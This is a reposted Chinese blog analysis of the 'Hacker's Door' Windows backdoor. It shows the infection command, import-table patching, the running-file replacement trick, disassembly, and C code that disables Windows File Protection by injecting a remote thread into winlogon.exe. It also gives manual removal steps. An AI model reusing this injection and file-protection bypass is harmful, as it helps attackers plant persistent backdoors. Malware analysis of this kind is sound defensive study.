青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

牽著老婆滿街逛

嚴(yán)以律己,寬以待人. 三思而后行.
GMail/GTalk: yanglinbo#google.com;
MSN/Email: tx7do#yahoo.com.cn;
QQ: 3 0 3 3 9 6 9 2 0 .

黑客之門的魅力:感染與加載

黑客之門的魅力:感染與加載

??? 最近對(duì)后門產(chǎn)生了很濃厚的興趣,上網(wǎng)與各位高手討論的時(shí)候,有人提到了“黑客之門”很厲害,也算是推出來的比較成功的一個(gè)后門,于是上網(wǎng)下載了一個(gè)研究研究,順便也學(xué)習(xí)學(xué)習(xí)其中的方法與技巧。不敢獨(dú)享,分享于此,同時(shí)希望高手們指教。

??? “黑客之門”介紹

??? 黑客之門采用的目前一些先進(jìn)的后門技術(shù),它只有一個(gè)Dll文件,通過感染系統(tǒng)文件啟動(dòng)自身,被感染的系統(tǒng)文件大小和日期都不會(huì)改變;同時(shí)采用線程插入技術(shù),本身沒有進(jìn)程;本身不開端口,而是重用系統(tǒng)進(jìn)程開的任意一個(gè)端口,如80,135,139,445等,因此它的隱藏性非常好,而且穿透防火墻也是很容易的事。這個(gè)版本文件不大,只提供一些很有用的命令。目前還沒有發(fā)現(xiàn)如何工具能查到這個(gè)后門,象Fport,Llister,RKDetector等查工具都失效。
程序的自啟動(dòng)

??? 既然是一個(gè)后門,那么就要隨系統(tǒng)的啟動(dòng)而啟動(dòng),根據(jù)黑客之門的介紹,它是通過感染系統(tǒng)程序文件來實(shí)現(xiàn)程序的自啟動(dòng)的。既然是感染了系統(tǒng)文件(像病毒),那就看看感染前和感染后的系統(tǒng)文件的區(qū)別吧!為了測(cè)試感染前后的差別,我準(zhǔn)備了一個(gè)專門用來被感染的文件TestLoad.exe,它沒有什么功能,只是彈出一個(gè)對(duì)話框,這樣好等待測(cè)試,麻雀雖小,五臟俱全,省得動(dòng)系統(tǒng)文件了。接著運(yùn)行命令:

C:>rundll32 hkdoordll,DllRegisterServer TestLoad.exe 2
使黑客之門感染TestLoad.exe,感染完畢后用EXE文件查看利器eXescope查看TestLoad.exe被感染前后的差別。

被感染之前eXescpoe顯示的TestLoad.exe的結(jié)構(gòu)如圖1所示:

感染之后的TestLoad.exe的結(jié)構(gòu)如圖2所示:

可以看出感染之后的TestLoad.exe的引入表多了一個(gè)Hkdoordll.dll引入庫。細(xì)心觀察感染之后的TestLoad.exe的引入表地址(Import Table Address ITA)已經(jīng)被改變,原來的ITA為0x000043FC,感染之后為0x0000477E。
為了進(jìn)一步看清除感染前后的文件的變化,這里使用LordPE.exe比較感染前后的TestLoad.exe的引入表函數(shù),比較結(jié)果如圖3所示:

提示:使用LordPE.exe查看exe文件的引入表函數(shù)方法是:點(diǎn)擊PE Edito打開相應(yīng)的文件,接著點(diǎn)擊Directories,彈出對(duì)話框后點(diǎn)擊Import Table右邊的三個(gè)點(diǎn),這樣就可以查看一個(gè)可執(zhí)行文件的引入表了。

??? 可以看出,只是在引入表鏈表中添加了一個(gè)相應(yīng)的Hkdoordll.dll,這樣當(dāng)被感染的程序再次運(yùn)行時(shí),由系統(tǒng)的程序裝載器搜索Hkdoordll.dll,并將其引用到被感染程序的地址空間,后門就運(yùn)行起來了。黑客之門的這種子啟動(dòng)方式值得學(xué)習(xí),比較靈巧。

??? 搞明白了黑客之門的啟動(dòng)方式后,我們就可以手動(dòng)清除它了,這里切不可將Hkdoordll.dll直接刪除,這樣可能直接導(dǎo)致系統(tǒng)崩潰。因?yàn)橄到y(tǒng)在加載被感染的程序(假如為Services.exe)時(shí)發(fā)現(xiàn)沒有找到Hkdoordll.dll,Services.exe將不能被裝載,如果被感染的是系統(tǒng)關(guān)鍵進(jìn)程的話,那么系統(tǒng)將不能正確的啟動(dòng)。清除的時(shí)候我們可以去別的機(jī)器上(相同系統(tǒng)與補(bǔ)?。┱乙粋€(gè)Services.exe,將被感染的程序命名為Services2.exe,將Services.exe拷貝到System32文件夾下,重啟電腦,刪除Hkdoordll.dll就清除黑客之門了。
運(yùn)行時(shí)感染

??? 上面說的是黑客之門的自啟動(dòng)方式,下面看看黑客之門是怎么感染正在運(yùn)行的系統(tǒng)文件的,這一點(diǎn)讓我暈了很久,最后發(fā)現(xiàn)是用了一個(gè)很靈活的小技巧。
我們知道在Windows系統(tǒng)下,正在運(yùn)行的程序文件一般是不能修改或者刪除的,正是由于這一點(diǎn),才出現(xiàn)了各種程序運(yùn)行時(shí)的自刪除大法,程序自刪除不是我們這次的重點(diǎn)。但是,細(xì)心的用戶可能已經(jīng)發(fā)現(xiàn),在Windows 2000或Wndows XP系統(tǒng)下,我們可以對(duì)正在運(yùn)行的EXE文件進(jìn)行重命名或者移動(dòng)。
再拿剛才的TestLoad.exe做測(cè)試,運(yùn)行:

C:>rundll32 hkdoordll,DllRegisterServer TestLoad.exe 2
可以發(fā)現(xiàn)TestLoad.exe所在的文件夾內(nèi)多出了一個(gè)文件TestLoad.exe.bak,咋一看還以為“黑客之門”做好事,自動(dòng)幫你備份一下系統(tǒng)文件,其實(shí)這可是黑客之門的狐貍尾巴啊!是它不得已而為之的。不要關(guān)閉TestLoad.exe,然后試著刪除TestLoad.exe和TestLoad.exe.bak,是不是發(fā)現(xiàn)奇跡了?竟然把TestLoad.exe刪掉了,而TestLoad.exe.bak竟然不讓刪,是不是和我剛才說的話矛盾?非也!非也!剛好證明了剛才的話:黑客之門先把TestLoad.exe改名為TestLoad.exe.bak,然后生成一個(gè)被感染的TestLoad.exe,這樣,下次運(yùn)行TestLoad.exe實(shí)際上是被替換過的程序,原來的程序則放在一邊。
用IDA Pro反匯編Hkdoordll.dll可以發(fā)現(xiàn)以下函數(shù)的調(diào)用:

文件重命名:

.data:1000C618???????????????? lea???? ecx, [esp+438h+FileName]
.data:1000C61F???????????????? lea???? edx, [esp+438h+var_324]
.data:1000C626???????????????? push??? ecx
.data:1000C627???????????????? push??? edx
.data:1000C628???????????????? call??? rename

拷貝文件:

.data:1000C66F?????????? lea???? edx, [esp+440h+var_32C]
.data:1000C676?????????? push??? 0?????????????? ; bFailIfExists
.data:1000C678?????????? lea???? eax, [esp+444h+var_228]
.data:1000C67F?????????? push??? edx???????????? ; lpNewFileName
.data:1000C680?????????? push??? eax???????????? ; lpExistingFileName
.data:1000C681?????????? call??? CopyFileA

移動(dòng)文件:

.data:1000C795?????????? mov???? eax, [ebp+8]
.data:1000C798?????????? test??? eax, eax
.data:1000C79A?????????? jnz???? short loc_1000C7FE
.data:1000C79C?????????? lea???? ecx, [esp+448h+var_334]
.data:1000C7A3?????????? push??? 5?????????????? ; dwFlags
.data:1000C7A5?????????? lea???? edx, [esp+44Ch+var_230]
.data:1000C7AC?????????? push??? ecx???????????? ; lpNewFileName
.data:1000C7AD?????????? push??? edx???????????? ; lpExistingFileName
.data:1000C7AE?????????? call??? MoveFileExA
上面的語句實(shí)際上可以理解為:
MoveFileEx(“TestLoad.exe”,”TestLoad.exe.bak”, MOVEFILE_DELAY_UNTIL_REBOOT&line; MOVEFILE_REPLACE_EXISTING);

??? 小知識(shí):MSDN中對(duì)MoveFileEx()函數(shù)的解釋為:
BOOL MoveFileEx(
? LPCTSTR lpExistingFileName,? // pointer to the name of the existing file
? LPCTSTR lpNewFileName,?????? // pointer to the new name for the file
? DWORD dwFlags??????????????? // flag that specifies how to move file
);

??? 這樣進(jìn)程TestLoad.exe的文件映象實(shí)際上為TestLoad.exe.bak,接著Hkdoordll.dll生成被感染的TestLoad.exe,并且保存在原來的文件路徑上即可。

??? 滅掉系統(tǒng)文件保護(hù)

??? 一旦系統(tǒng)啟動(dòng)了,Windows系統(tǒng)就開始加載已經(jīng)被感染的系統(tǒng)程序,但是由于“黑客之門”是通過感染系統(tǒng)程序?qū)崿F(xiàn)自啟動(dòng)的,這下子又遇到了另外一個(gè)問題。

??? 大家都知道,在Windows 2000和Windows XP中有系統(tǒng)文件保護(hù)功能,一旦被保護(hù)的系統(tǒng)文件被修改了,就會(huì)彈出需要插入系統(tǒng)安裝盤CD的對(duì)話框。這樣就導(dǎo)致了一個(gè)問題, TestLoad.exe只是一個(gè)普通的EXE文件,而不是受系統(tǒng)文件保護(hù)系統(tǒng)保護(hù)的系統(tǒng)進(jìn)程,那為什么黑客之門修改系統(tǒng)進(jìn)程時(shí),操作系統(tǒng)的文件的文件保護(hù)系統(tǒng)不會(huì)提醒呢?
這一點(diǎn),還是采用反匯編黑客之門的方法,觀察它是怎樣關(guān)閉系統(tǒng)文件保護(hù)功能的。

發(fā)現(xiàn)如下的代碼:

.data:1000BBB0 LoadSFCDLL?? proc near??? ; CODE XREF: sub_1000BC70+B7
.data:1000BBB0????? push??? esi
.data:1000BBB1????? xor???? esi, esi
.data:1000BBB3????? call??? GetVersion? ; Get current version number of Windows
.data:1000BBB3????? ; and information about the operating system platform
.data:1000BBB9????? cmp???? al, 5
.data:1000BBBB????? jnz???? short loc_1000BBDF
.data:1000BBBD????? xor???? ecx, ecx?;此時(shí)為Windows2000系統(tǒng)
.data:1000BBBF????? mov???? cl, ah
.data:1000BBC1???? test??? cl, cl
.data:1000BBC3???? jnz???? short loc_1000BBD2
.data:1000BBC5???? push??? offset aSfc_dll ; lpLibFileName
.data:1000BBCA???? call??? LoadLibraryA?;此時(shí)為WindowsXP系統(tǒng)
.data:1000BBD0???? pop???? esi
.data:1000BBD1???? retn
.data:1000BBD2 loc_1000BBD2:????????? ; CODE XREF: LoadSFCDLL+13 j
.data:1000BBD2???? push??? offset aSfc_os_dll ; lpLibFileName
.data:1000BBD7???? call??? LoadLibraryA
.data:1000BBDD???? pop???? esi
.data:1000BBDE???? retn

上面的代碼可以看出,Hkdoordll.dll根據(jù)操作系統(tǒng)的版本調(diào)用了Sfc.dll或者Sfc_os.dll,如果是Windows 2000(Windows NT 5.0)的話,裝載Sfc.dll;如果是Windows XP(Windows NT 5.1)的話,裝載Sfc_os.dll。再看下面的一段反匯編代碼:

sub???? esp, 228h
.data:1000BC76???? lea???? eax, [esp+228h+hObject]
.data:1000BC7A???? push??? ebx
.data:1000BC7B???? push??? esi
.data:1000BC7C???? push??? edi
.data:1000BC7D???? push??? offset aWinlogon_exe ; "winlogon.exe"
.data:1000BC82????? push??? 0
.data:1000BC84????? push??? offset aDS????? ; "%d/%s"
.data:1000BC89????? push??? 1Fh
.data:1000BC8B???? mov???? edi, ecx
.data:1000BC8D???? push??? eax
.data:1000BC8E???? call??? sub_10008C60
.data:1000BC93????? add???? esp, 14h
.data:1000BC96????? lea???? ecx, [esp+234h+hObject]
.data:1000BC9A????? push??? ecx???????????? ; lpMultiByteStr
.data:1000BC9B????? call??? sub_100016CC??? //這個(gè)子函數(shù)就是用來得到進(jìn)程ID
.data:1000BCA0????? cmp???? eax, 0FFFFFFFDhSFC
.data:1000BCA3????? jb????? short loc_1000BCDB
.data:1000BCA5????? push??? offset aCanTGetWinlogo ; "Can't get winlogon process id!rn"

上面的函數(shù)用來得到Winlogon.exe進(jìn)程的ID,以便下面打開它注入代碼:

.data:1000BCDB?????? push??? eax???????????? ; dwProcessId
.data:1000BCDC?????? push??? 0?????????????? ; bInheritHandle
.data:1000BCDE?????? push??? 1F0FFFh???????? ; dwDesiredAccess
.data:1000BCE3?????? call??? OpenProcess?;打開目標(biāo)進(jìn)程
.data:1000BCE9?????? mov???? ebx, eax
.data:1000BCEB?????? test??? ebx, ebx
.data:1000BCED?????? jnz???? short loc_1000BD25

上面的匯編代碼段是調(diào)用OpenProcess()函數(shù)打開Winlogon.exe進(jìn)程。繼續(xù)觀察反匯編代碼,發(fā)現(xiàn)下面的一段:

.data:1000BD25?????? mov?? ecx, edi
.data:1000BD27?????? call??? LoadSFCDLL
.data:1000BD2C?????? mov?? esi, eax
.data:1000BD2E?????? test??? esi, esi
.data:1000BD30?????? jnz??? short loc_1000BD6F
.data:1000BD6F?????? push?? 2????????????? ;函數(shù)序號(hào)為2
.data:1000BD71?????? push?? esi???????????? ;SFC.dll的 hModule
.data:1000BD72?????? call??? GetProcAddress ;得到SFC.dll中序數(shù)為2 的函數(shù)的地址
.data:1000BD78?????? test??? eax, eax
.data:1000BD7A?????? mov???? [edi+10h], eax
.data:1000BD7D?????? jnz???? short loc_1000BDC3

可以發(fā)現(xiàn)上面的匯編代碼用來得到以前裝載的Sfc.dll(或Sfc_os.dll)中的序數(shù)為2的函數(shù)的地址。接著程序跳轉(zhuǎn)到了Loc_1000BDC3,繼續(xù)跟蹤反匯編代碼,發(fā)現(xiàn)以下一段:

.data:1000BDC3?????? push??? eax???????????? ; 剛才得到的SFC.dll中函數(shù)的地址
.data:1000BDC4?????? push??? ebx???????????? ; Winlogon.exe進(jìn)程的句柄
.data:1000BDC5?????? mov???? ecx, edi
.data:1000BDC7?????? call??? sub_1000BBF0?注意這里調(diào)用函數(shù) sub_1000BBF0
.data:1000BDCC?????? push??? esi???????????? ; hLibModule
.data:1000BDCD?????? mov???? edi, eax
.data:1000BDCF?????? call??? FreeLibrary
.data:1000BDD5?????? test??? edi, edi
.data:1000BDD7?????? push??? ebx???????????? ; hObject
跟進(jìn)Sub_1000BBF0函數(shù),Sub_1000BBF0函數(shù):
入口參數(shù):進(jìn)程句柄、線程開始地址
.data:1000BBF0 sub_1000BBF0??? proc near???? ; CODE XREF: sub_1000BC70+157 p
.data:1000BBF0
.data:1000BBF0 ThreadId??????? = dword ptr -1
.data:1000BBF0 hProcess??????? = dword ptr? 7
.data:1000BBF0 lpStartAddress? = dword ptr? 0Bh
.data:1000BBF0
.data:1000BBF0?????? push??? ecx
.data:1000BBF1?????? mov???? ecx, [esp+1+lpStartAddress]
.data:1000BBF5?????? mov???? edx, [esp+1+hProcess]
.data:1000BBF9?????? lea???? eax, [esp+1+ThreadId]
.data:1000BBFD?????? push??? esi
.data:1000BBFE?????? push??? eax?????? ; lpThreadId
.data:1000BBFF?????? push??? 0???????? ; dwCreationFlags
.data:1000BC01?????? push??? 0???????? ; lpParameter
.data:1000BC03?????? push??? ecx?????? ; SFC.dll中第二個(gè)函數(shù)的函數(shù)地址
.data:1000BC04?????? push??? 0???????? ; dwStackSize
.data:1000BC06?????? push??? 0???????? ; lpThreadAttributes
.data:1000BC08?????? push??? edx?????? ; 以前打開的winlogon.exe進(jìn)程的句柄
.data:1000BC09?????? mov???? [esp+21h+ThreadId], 0
.data:1000BC11?????? call??? CreateRemoteThread??? ;創(chuàng)建遠(yuǎn)線程
.data:1000BC17?????? mov???? esi, eax
.data:1000BC19?????? test??? esi, esi??;ESI保存剛才新創(chuàng)建的線程的句柄
.data:1000BC1B?????? jnz???? short loc_1000BC3F
――――――――――――――――――――――――――――――
.data:1000BC3F
.data:1000BC3F loc_1000BC3F:???? ; CODE XREF: sub_1000BBF0+2B j
.data:1000BC3F????????? push??? 0FA0h?????????? ; dwMilliseconds
.data:1000BC44????????? push??? esi???????????? ; 新創(chuàng)建的線程的句柄
.data:1000BC45????????? call??? WaitForSingleObject ;等待遠(yuǎn)程線程的結(jié)束
.data:1000BC4B????????? test??? eax, eax
.data:1000BC4D????????? jz????? short loc_1000BC5D
――――――――――――――――――――――――――――――――――
.data:1000BC5D
.data:1000BC5D loc_1000BC5D:???????? ; CODE XREF: sub_1000BBF0+5D j
.data:1000BC5D????????? push??? esi???????????? ; hObject
.data:1000BC5E????????? call??? CloseHandle
.data:1000BC64?????????? mov???? eax, [esp+5+ThreadId]
.data:1000BC68?????????? pop???? esi
.data:1000BC69?????????? pop???? ecx
.data:1000BC6A?????????? retn??? 8
.data:1000BC6A sub_1000BBF0??? endp

??? 上面的子函數(shù)功能很簡(jiǎn)單,就是在剛剛打開的Winlogon.exe進(jìn)程中創(chuàng)建新的線程,新線程調(diào)用SFC.dll中的序號(hào)為2的輸出函數(shù),這樣便關(guān)掉了系統(tǒng)文件的自我保護(hù)。

??? 事實(shí)上,根據(jù)Bgate的《在Win 2000/XP上安靜地替換正在使用的系統(tǒng)文件》這篇文章的解釋,在Windows 2000(XP)系統(tǒng)下,執(zhí)行系統(tǒng)文件保護(hù)的代碼在Sfc.dll(XP在Sfc_os.dll)中,這個(gè)Dll由Winlogon.exe調(diào)用。Winlogon.exe主要調(diào)用Sfc.dll中的兩個(gè)函數(shù)實(shí)現(xiàn)系統(tǒng)文件文件保護(hù)。Winlogon.exe調(diào)用Sfc.dll中的一個(gè)輸出函數(shù)在系統(tǒng)啟動(dòng)的時(shí)候創(chuàng)建了一系列事件,Winlogon.exe結(jié)束時(shí)調(diào)用另外一個(gè)函數(shù)關(guān)閉上面的一系列事件,這樣就關(guān)閉了系統(tǒng)保護(hù)文件功能。那這樣我們只需要向Winlogon.exe中注入代碼調(diào)用“第二個(gè)”函數(shù),就能取消文件保護(hù)功能了,“黑客之門”采用的也正是這樣的方法。

??? 這里需要注意的是,要把進(jìn)程注入到Winlogon.exe中,需要提升自身的權(quán)限到Debug權(quán)限。

HANDLE hToken;
??? LUID DebugNameValue;
??? TOKEN_PRIVILEGES Privileges;
??? DWORD dwRet;

??? OpenProcessToken(GetCurrentProcess(),
????? TOKEN_ADJUST_PRIVILEGES &line; TOKEN_QUERY,hToken);
??? LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue);
??? Privileges.PrivilegeCount=1;
??? Privileges.Privileges[0].Luid=DebugNameValue;
??? Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
??? AdjustTokenPrivileges(hToken,F(xiàn)ALSE,&Privileges,sizeof(Privileges),
????????????????? NULL,&dwRet);
??? CloseHandle(hToken);

上面整個(gè)關(guān)閉系統(tǒng)文件保護(hù)功能的實(shí)現(xiàn)用C語言寫下來如下所示:

/*得到進(jìn)程的ID,具體的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/
?DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE Process=OpenProcess(,F(xiàn)ALSE,dwPid);
DWORD dwVersion;
?HMODULE hSfc;
dwVersion = GetVersion();
//判斷操作系統(tǒng)的類型
?? if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{ ??????????????? // Windows 2000/XP
??????? if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0)?? //Windows 2000
?????????????????? hSfc = LoadLibrary("sfc.dll");??????
??????? else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1)???????????? //Windows XP
??????????? hSfc = LoadLibrary("sfc_os.dll");??????
??? }???
//得到函數(shù)的地址
FARPROC dwAddress=GerProcAddress(hSfc, MAKEINTRESOURCE(2));
DWORD dwThreadId;
HANDLE? hThread;
//創(chuàng)建遠(yuǎn)線程
hThread =CreateRemoteThread(hProcess,0,0, /
(DWORD (__stdcall *) (void *)) dwAddress,0,0,&dwThreadId);
WaitForSingleObject(hThread,0x0FA0);

??? 結(jié)束語

??? 大概分析完了,剛開始拿到黑客之門的時(shí)候,還在想,它到底是怎樣感染正在運(yùn)行的系統(tǒng)文件的呢?原來以為是修改進(jìn)程的句柄指向的進(jìn)程的操作掩碼完成的,為此我還翻閱了好多文檔。結(jié)果通過對(duì)程序的反匯編學(xué)習(xí),漸漸的發(fā)現(xiàn)黑客之門的程序編制的技巧。這里也要感謝“黑客之門”的作者,沒有給它加殼,能讓我們有幸能一睹優(yōu)秀黑客工具的容顏!
不到之處,歡迎指教,Mail:fengcaho at 163 dot com


posted on 2006-05-08 17:49 楊粼波 閱讀(366) 評(píng)論(0)  編輯 收藏 引用 所屬分類: 文章收藏

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            国产精品免费小视频| 亚洲一区二区在线免费观看视频| 亚洲日本欧美日韩高观看| 国模套图日韩精品一区二区| 国产欧美日韩在线| 红桃视频国产精品| 亚洲国产成人精品视频| 亚洲美女淫视频| 亚洲一区二区视频在线| 香蕉久久一区二区不卡无毒影院| 午夜久久久久久久久久一区二区| 久久狠狠婷婷| 亚洲国产精品一区在线观看不卡| 91久久在线观看| 亚洲欧美日韩直播| 久久天天躁夜夜躁狠狠躁2022| 久久这里有精品视频| 欧美日韩免费观看一区| 国产一区二区三区高清在线观看| 亚洲国产成人不卡| 亚洲伊人第一页| 欧美1级日本1级| 一区二区三区鲁丝不卡| 久久黄色小说| 欧美网站在线观看| 在线精品亚洲一区二区| 亚洲视频axxx| 嫩草影视亚洲| 午夜国产精品视频免费体验区| 久久综合色影院| 国产精品久久久久久久久久免费| 伊人精品成人久久综合软件| 欧美三级网址| 91久久精品国产91性色tv| 亚洲一区二区三区成人在线视频精品| 午夜国产欧美理论在线播放| 欧美成人精品h版在线观看| 国产精品一区在线播放| 99国产精品自拍| 麻豆精品网站| 亚洲男人的天堂在线aⅴ视频| 欧美大片第1页| 精品av久久久久电影| 午夜精品国产| av成人手机在线| 欧美成人免费在线观看| 国外成人在线视频| 久久精品九九| 欧美一级淫片aaaaaaa视频| 国产精品电影网站| 亚洲视屏一区| 99re66热这里只有精品3直播| 牛牛影视久久网| 亚洲国产一区二区在线| 另类激情亚洲| 久久影音先锋| 亚洲国产毛片完整版| 毛片一区二区三区| 久久久噜噜噜久噜久久| 亚洲成人在线网站| 亚洲第一精品夜夜躁人人躁| 久久午夜av| 亚洲欧洲日韩女同| 91久久久久久| 欧美精品自拍| 夜夜嗨一区二区| 亚洲精品美女免费| 欧美色道久久88综合亚洲精品| av成人免费在线观看| 99re6这里只有精品| 国产精品成人一区二区三区吃奶| 亚洲欧美日韩在线一区| 午夜亚洲福利| 亚洲高清视频在线观看| 欧美黄色免费网站| 欧美精品亚洲一区二区在线播放| 日韩视频一区二区三区| 日韩视频久久| 国产日韩欧美自拍| 蜜桃av噜噜一区| 欧美黄污视频| 欧美一区观看| 美女视频黄免费的久久| 夜夜嗨一区二区| 亚洲男人的天堂在线| 极品裸体白嫩激情啪啪国产精品| 美女露胸一区二区三区| 欧美国产日本在线| 午夜欧美视频| 免费成人毛片| 午夜久久黄色| 噜噜噜躁狠狠躁狠狠精品视频 | 影音先锋日韩有码| 欧美激情精品久久久久| 欧美日韩亚洲一区三区| 久久国产一二区| 欧美aⅴ一区二区三区视频| 亚洲综合国产精品| 久久精品视频在线播放| 亚洲靠逼com| 欧美一级播放| 亚洲一本视频| 狂野欧美激情性xxxx欧美| 亚洲一区二区成人| 久久久久久穴| 欧美亚洲视频在线观看| 欧美 日韩 国产 一区| 欧美亚洲一区三区| 欧美日韩国产精品成人| 老司机精品视频网站| 国产精品v日韩精品v欧美精品网站| 狼人社综合社区| 国产精品久久久久秋霞鲁丝| 亚洲国产福利在线| 好吊色欧美一区二区三区四区| 日韩一二三区视频| 亚洲二区在线视频| 久久精品一区二区三区不卡| 欧美一级视频一区二区| 欧美全黄视频| 欧美激情乱人伦| 国产一区在线播放| 亚洲在线观看| 亚洲一区二区三区在线观看视频 | 欧美午夜国产| 亚洲国产一二三| 在线欧美日韩国产| 久久久精品国产免费观看同学 | 夜夜嗨av一区二区三区网页 | 亚洲一区在线观看视频| 欧美精品三级| 亚洲欧洲日韩在线| 亚洲日本va午夜在线影院| 狂野欧美激情性xxxx欧美| 老司机成人网| 亚洲福利av| 免费看精品久久片| 亚洲国内自拍| 亚洲精品一区二区三区av| 乱人伦精品视频在线观看| 欧美高清视频在线播放| 亚洲欧洲精品一区二区三区波多野1战4| 久久精品人人做人人爽| 鲁大师影院一区二区三区| 影音先锋日韩资源| 毛片一区二区三区| 亚洲国产精品一区二区www| 日韩视频在线永久播放| 欧美日韩精品免费看| 一本一本久久a久久精品牛牛影视| 亚洲一区二区三区涩| 又紧又大又爽精品一区二区| 久久人体大胆视频| 欧美激情精品久久久久久久变态| 亚洲日本中文字幕免费在线不卡| 欧美高清一区| 一区二区三区国产在线| 午夜精品一区二区三区电影天堂 | 欧美激情五月| av不卡在线观看| 久久免费精品视频| 亚洲欧洲久久| 国产精品色婷婷| 久久久久免费| 亚洲精品一区二区三区樱花| 午夜精品福利一区二区蜜股av| 国产欧美一区二区精品秋霞影院| 久久影视精品| 亚洲网站视频| 欧美成人精品在线观看| 亚洲天堂av在线免费观看| 国产日韩av一区二区| 欧美成人在线免费视频| 亚洲午夜伦理| 亚洲国产二区| 久久精品国产免费| 日韩亚洲不卡在线| 韩国福利一区| 国产精品高潮呻吟久久av无限| 久久久久成人精品| 亚洲色诱最新| 91久久精品日日躁夜夜躁国产| 久久国产主播精品| 一区二区三区日韩在线观看| 韩国精品主播一区二区在线观看| 欧美精品日韩综合在线| 久久久午夜视频| 亚洲欧美一区二区激情| 亚洲精品四区| 麻豆国产精品va在线观看不卡| 亚洲一区二区三区精品在线| 亚洲激情网站| 激情成人在线视频| 国产精品视频一二三| 欧美日韩第一区日日骚| 欧美韩日亚洲| 欧美不卡一区| 美日韩在线观看| 久久久噜噜噜久久中文字免| 午夜久久一区|